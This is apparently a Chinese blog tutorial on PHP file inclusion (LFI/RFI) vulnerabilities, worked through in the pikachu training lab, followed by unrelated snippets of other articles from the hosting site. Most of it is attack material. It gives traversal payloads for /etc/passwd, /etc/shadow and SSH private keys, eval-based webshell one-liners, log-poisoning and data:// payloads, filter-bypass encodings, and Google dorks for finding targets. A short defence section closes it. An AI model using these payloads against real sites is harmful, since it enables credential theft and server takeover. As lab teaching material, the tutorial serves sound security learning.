pikachu文件包含漏洞

一:漏洞基础

程序在引用文件的时,引用的文件名存在可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入;

文件包含漏洞概念

在PHP程序中使用文件包含的对象可以被前端的用户控制且没有经过过滤或严格的定义,用户可以将其他的
文件作为参数带入到PHP代码中解释执行,从而造成敏感信息泄露/程序文件读取/GetShell等危害的漏
洞

1.1:高危函数

require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件,而 include() 只有程序执行到该函数时才调用 。其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、fopen()、file()

文件包含是执行被包含文件中的PHP代码,而文件打开则是读取文件中的内容不会执行!

1.2:源码分析

# 漏洞解析
$_GET['filename'] 接收客户端传的参数,其中没有任何过滤 带入到 include 函数中,include
包含这个文件,引入到当前文件中,因此会造成文件包含漏洞;
# 文件包含
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
# 注解
../是上一级路径,如果存在漏洞文件又存在的时候,不是 php 文件会被读取显示在页面中;

二:漏洞利用

文件包含漏洞分为本地文件包含漏洞(Local File include,LFI)与远程文件包含漏洞(Remote Fileinclude,RFI);

本地包含文件即被包含的文件在本地中,可通过读取系统存在的文件获取信息/上传图片GetShell/包含

2.1:本地文件包含(LFI)

指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI !

包含条件: 用户可以动态控制变量!

包含常用路径
# 日志文件包含GetShell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
# 读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php
discuz 全局配置文件 config/config_global.php
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
# Windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS 配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php 配置信息
C:/Windows/my.ini //Mysql 配置信息
C:/Windows/win.ini // 配置信息
# Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
# Payload
fi_local.php?filename=../../../windows/win.ini&submit=提交查询
/fi_local.php?filename=../../../../etc/passwd&submit=提交查询
# 相关靶场
http://123.206.127.23:8080 //Linux主机
包含图片GetShel
步骤一:先制作图片马
copy 1.jpg/b + 1.php/a 2.jpg

步骤二:通过文件上传模块上传一张GIF图片并获取其地址...如下
http://192.168.1.5/pikachu/vul/unsafeupload/uploads/2.jpg
步骤三:在文件包含页面进行文件包含...并GetShell
http://192.168.1.5/pikachu/vul/fileinclude/fi_local.php?
filename=../../../../info.jpg&submit=提交查询

蚁剑连接

步骤四:讲如下代码写入到图片马中并再次上传,并进行文件包含操作...
一句话木马
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
包含执行
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?
filename=../../unsafeupload/uploads/4.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A
5%E8%AF%A2

步骤四:进行文件包含后会在漏洞的当前目录下产生 shell.php 后面文件访问并连接...
127.0.0.1/pikachu/vul/fileinclude/shell.php

到指定目录下查看是否上传成功

蚁剑链接

包含日志GetShel

中间件例如 iis /apache/nginx 这些 web 中间件都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码也可以引入到文件包含中,如果日志有 php 恶意代码也可导致 getshell;在linux下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是windows 环境下是可以权限是允许的;

# 获取Apache日志路径
/etc/init.d/httpd
/etc/httpd/conf/httpd.conf
# 日志文件位置
phpstudy_pro\Extensions\Apache2.4.39\logs
/var/log/apache2/access.log
# Apache产生的日志文件
/Apache/logs/
-access.log #记录前端用户的访问日志
-error.log #记录Apache运行报错的记录
步骤一:制作一个具有文件包含漏洞的文件如下..存在漏洞,并且日志会记录;

# 漏洞代码

<?php

include $_GET['file'];

?>

# 日志文件

C:\phpStudy\PHPTutorial\Apache\logs\access.log

E:/uninstall/phpstudy_pro/Extensions/Nginx1.15.11/logs/localhost_acess.log

# 遇到问题

发现logs文件夹里面只有error.log且没有access.log修改httpd.

#CustomLog "logs/access.log" common 去掉前面这个#号

步骤二:我们可以直接插入恶意的php代码,使其记录下来;需注意浏览器会把 <> 编码,可以使用burp绕过;

改成

步骤三:日志记录,直接包含日志就可以了;注意在phpstudy里面可以,但是在linux里面可能就不行了,因为可能没有权限;
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../Extensions/Nginx1.15.11/logs/access.log&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

TIPS: 日志包含的时候,往往在日志文件之前有一些个错误,那么你再怎么努力也无济于事!!!日志文件往往是按天会生成新的文件。(凌晨的成功率较高)

PHP伪协议
<?php
include $_GET['file'];
?>

PHP 伪协议事实上就是支持的协议 封装协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect://
1. php.ini参数设置

在 php.ini 里有两个重要的参数 allow_url_fopen 、 allow_url_include ;

allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;

allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;

各协议的利用条件和方法:

2. file://协议
使用:file://文件的绝对路径和文件名
举例:
/lfi.php?file=file://c:\windows\system32\drivers\etc\hosts
/lfi.php?file=file://c:\windows\win.ini

3. php://filter协议
用途:常用于读取文件/源码
使用:?path=php://filter/read=convert.base64-encode/resource=文件.php
注意:通过指定末尾的文件,可以读取经 base64 加密后的文件源码 ,之后再 base64 解码,虽然不
能直接获取到 shell,但能读取敏感文件 。
php://filter 协议与 file:// 协议的区别:file 协议只能使用 绝对路径 ,filter 协议相对
路径和绝对路径 都可以使用
举例:
/lfi.php?file=php://filter/read=convert.base64-encode/resource=123.php
/lfi.php?file=php://filter/read=convert.base64-
encode/resource=c:\windows\win.ini
是在尝试通过 PHP 的过滤器来读取并以 Base64 编码的方式获取资源“c:\windows\win.ini”的内容。

4. php://input协议

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入

的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行

时会将 post 内容当作文件内容;

注:当 enctype="multipart/form-data",php://input 是无效的;

php.ini 条件是 allow_url_fopen =ON allow_url_include=ON;

设置请求为 post 请求 在正文输入 php 代码提交即可允许;

5. data://

data://text/plain,(php代码)

?file=data://text/plain,

使用条件:
allow_url_fopen = on
allow_url_include = on
使用举例:
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=
webshell构造:
URL: ?file=data://text/plain,<?php eval($_POST[1])?>
Webshell密码: 1

6. zip://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
使用举例:
zip://[压缩文件绝对/相对路径]#[压缩文件内的子文件名](#编码为%23)
lfi.php?file=zip://E:/xxx.zip%23xxx.png

7. phar://
用途:读取压缩包内的文件(绝对路径/相对路径)
使用条件:allow_url_fopen = on
举例:
/lfi.php?file=phar://E:/xxx.zip/xxx.png
其他类似协议:
bzip2://
zlib://

2.2:远程文件包含(RFI)

当远程文件开启时,可以包含远程文件到本地执行也称为RFI!
当 allow_url_fopen=On allow_url_include=ON ** 两个条件同时为 On 允许远程包含文件**; 
---》phpinfo() l.php/info.php
步骤一:讲以下代码存储到1.txt中并开启HTTP服务器对外访问...
<?php phpinfo();@eval($_POST[1]);?>

步骤二:访问 lfi.php?file=[http://127.0.0.1/1.txt](http://127.0.0.1/1.txt)

2.3:文件包含限制绕过
<?php
$file = $_GET["file"];
include $file.".txt";
highlight_file(__FILE__);
?>
方法一:00截断
条件:1. magic_quotes_gpc = Off 2. php 版本 < 5.3.4
获取 phpinfo.php 文件

方法二:路径长度截断
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,
导致扩展名截断。
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃

方法三:问号绕过
payload:1.php?file=http://127.0.0.1/1.txt?

方法四:#绕过
payload:1.php?file=http://127.0.0.1/1.txt%23

方法五:空格绕过
payload:
1.php?file=http://127.0.0.1/1.txt%20
1.php?file=http://127.0.0.1/1.txt+
1.php?file=http://127.0.0.1/1.txt abc

方法六:编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

利用URL编码绕过

%2e%2e%2f === ../
%2e%2e%5c === ..\
%2e = .
%2f = /
%5c = \

二次URL编码

%252e%252e%252f%252e%252e%252f ---> 服务器接收解码一次 %2e%2f

三:挖掘防护

# 挖掘姿势
inurl:/.php?incluede=
inurl:/.PHP?file=
inurl:/.php?page=
# 易受本地文件包含 (LFI) 漏洞影响的前 25 个参数的列表
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
# 漏洞防护
1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是
否可被外部控制;
2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php');
5. 设置 allow_url_include 为 Off ;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/395571.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安卓将子模块打aar包,并将其远程依赖打包进去

生成 AAR 包 在Android Studio Terminal 窗口输入以下命令&#xff1a; ./gradlew :monitor:assembleRelease把 monitor 换成你子模块的名称&#xff0c;不出意外的话 就会在下面目录生成相应aar文件 注意&#xff1a;如果你的Java运行环境是Java 8 则在老一点的AS上 可以运…

PCIe学习笔记(19)

TLP Prefix&#xff08;前缀&#xff09;规则 以下规则适用于任何包含TLP Prefix的TLP: •对于任何TLP, TLP第0字节的Fmt[2:0]字段值为100b表示存在TLP Prefix, Type[4]位表示TLP Prefix的类型。 ◦Type[4]位的值为0b表示存在Local TLP Prefix ◦Type[4]位的值为1b表示存在…

牛客JS题(二十三)判断质数

注释很详细&#xff0c;直接上代码 涉及知识点&#xff1a; 原型链如何优雅的判断质数 题干&#xff1a; 我的答案 <!DOCTYPE html> <html><head><meta charsetutf-8></head><body><script type"text/javascript">/*** 素…

Vue引入使用iconfont字体图标

由于element-ui或element-plus提供的图标有时候并不能满足日常需求,所以这篇介绍一下前端引入阿里巴巴矢量图标库使用,不止是vue使用,不限于vue2、vue3,html或是其他框架也是同样的道理,只要引入都是同样可以使用的。 1. 首先进入阿里巴巴矢量图标库官网 官网:https://…

螺旋矩阵

螺旋矩阵 思路&#xff1a; 这题是一个模拟的题目。 可以观察出一些性质&#xff1a;每次需要换方向的时候都是到达了边界&#xff08;长度和宽度的边界&#xff09;。 不知道怎么转化为代码&#xff01; 哭了 看看题解吧&#xff1a;真不会 看到一个太妙的方法了&#x…

初识云计算

随着科技的飞速发展&#xff0c;云计算作为一种新兴的信息技术架构&#xff0c;正在逐渐改变我们的工作方式和生活方式。 云计算是什么&#xff1f; 云计算是一种通过互联网提供计算资源和服务的计算模式。它通过互联网将计算和存储资源进行集中和共享&#xff0c;为用户提供…

zabbix的自动发现和注册、proxy代理和SNMP监控

一、zabbix自动发现和注册 1.概念 zabbix客户端主动的和服务端联系&#xff0c;将自己的地址和端口发送给服务端&#xff0c;实现自动添加监控主机。 客户端是主动的一方 缺点&#xff1a;自定义网段中主机数量太多&#xff0c;登记耗时会很久&#xff0c;而且这个自动发现…

Java 处理一张单据,处理花费时间挺久,有单号,不用redis怎么可以快速判断其在处理中,不需要再处理

在Java中处理长时间的任务并且需要避免重复处理同一张单据的情况下&#xff0c;在不使用Redis或其他外部存储服务情况下。 方法一&#xff1a;使用数据库表 表记录记录状态 方法二&#xff1a;使用文件系统 创建和删除文件记录状态 方法三&#xff1a;使用本地缓存 import …

6种常用的AR跟踪方法

增强现实 (AR) 是一项令人着迷的技术&#xff0c;可将虚拟内容与现实世界无缝集成。实现这种无缝集成的关键组件之一是跟踪。各种类型的跟踪用于确定 AR 内容在环境中的准确位置和方向。本文介绍 AR 最常见的6种跟踪方法。 NSDT工具推荐&#xff1a; Three.js AI纹理开发包 - Y…

Centos安装Mysql

添加MySQL官方的Yum仓库 sudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm安装MySQL服务器 sudo yum install mysql-community-server在安装过程中遇到了如下错误&#xff1a; 使用如下命令去解决&#xff1a; yum --enablerepomysql80…

Windows下Rust OpenCV环境配置

首发于Enaium的个人博客 安装Chocolatey 首先我们需要安装Chocolatey&#xff0c;Chocolatey是一个Windows的包管理器。 我们点击右上角的Install进入到Installing Chocolatey&#xff0c;选择Individual 复制命令 Set-ExecutionPolicy Bypass -Scope Process -Force; [Sys…

【Java日志系列】日志概述

目录 前言 一、日志概述 二、日志文件 1. 调试日志 2. 系统日志 三、日志框架 1. 日志框架的作用 2. 日志框架的价值 3. 市面上流行的日志框架 4. 日志门面和日志实现的区别 总结 前言 在软件开发中&#xff0c;日志记录是一项至关重要的任务。无论是简单的命令行应…

CloudCompare—点云切片

文章目录 一、整体功能展示1、必要参数2、其他选项二、代码实现1、提取平面上的包络线2、将点投影到二维平面上3、提取二维凸包三、算法原理参考资料一、整体功能展示 整个点云切片的步骤如下动图所示: 激活点云后,选择切片功能(小立方盒),在点云视图中显示工具栏框,工具…

后期调色学习笔记

关于调色曲线的学习&#xff1a; 学习链接&#xff1a;一看就懂的曲线调色教程【手机摄影后期】_哔哩哔哩_bilibili 从左向右就是由暗部越来越到亮部 越靠近右侧的越是亮部

C++ | Leetcode C++题解之第324题摆动排序II

题目&#xff1a; 题解&#xff1a; class Solution { public:int partitionAroundPivot(int left, int right, int pivot, vector<int> &nums) {int pivotValue nums[pivot];int newPivot left;swap(nums[pivot], nums[right]);for (int i left; i < right; …

04 Haproxy搭建Web集群

4.1 案例分析 4.1.1 案例概述 Haproxy是目前比较流行的一种群集调度工具&#xff0c;同类群集调度工具有很多&#xff0c;如LVS和Nginx。相比较而言&#xff0c;LVS 性能最好&#xff0c;但是搭建相对复杂;Nginx 的upstream模块支持群集功能&#xff0c;但是对群集节点健康检…

html+css 实现hover 3D按钮特效

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽效果&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目…

C语言实现游戏2048(超详细!!!超易懂!!!)

2048是众所周知的一款经典游戏&#xff0c;在曾经没有智能电脑和手机的年代&#xff0c;也陪伴了我们许多年。那今天就让我们用C语言来回顾一下这款游戏吧~ 一、游戏2048的思路 2048游戏的玩法是在初始的时候&#xff0c;给玩家一个4*4格子的&#xff0c;其中内容全为空的棋盘…

elementPlus中el-table的每列两行溢出隐藏怎么设置

el-table的每列两行溢出隐藏怎么设置 elementPlus中的el-table如何设置多行溢出隐藏table中的table属性中有show-overflow-tooltip属性&#xff0c;但是只支持单行溢出隐藏如何改成两行呢&#xff1f;在审查元素中我们发现.el-tooltip这个类名是溢出隐藏的样式&#xff0c;原本…

【Linux---08】Shell脚本

文章目录 1. 前置说明1.1 创建shell脚本1.2 执行shell脚本1.3 调试shell脚本1.4 字符冲突 2. 变量2.1 创建&使用变量2.2 位置变量2.3 引号规则 3. 数组3.1 创建数组3.2 使用数组 4. 运算符4.1 比较&数值运算4.1.1 方式一&#xff1a;[ ]4.1.3 方式二&#xff1a;(()) &…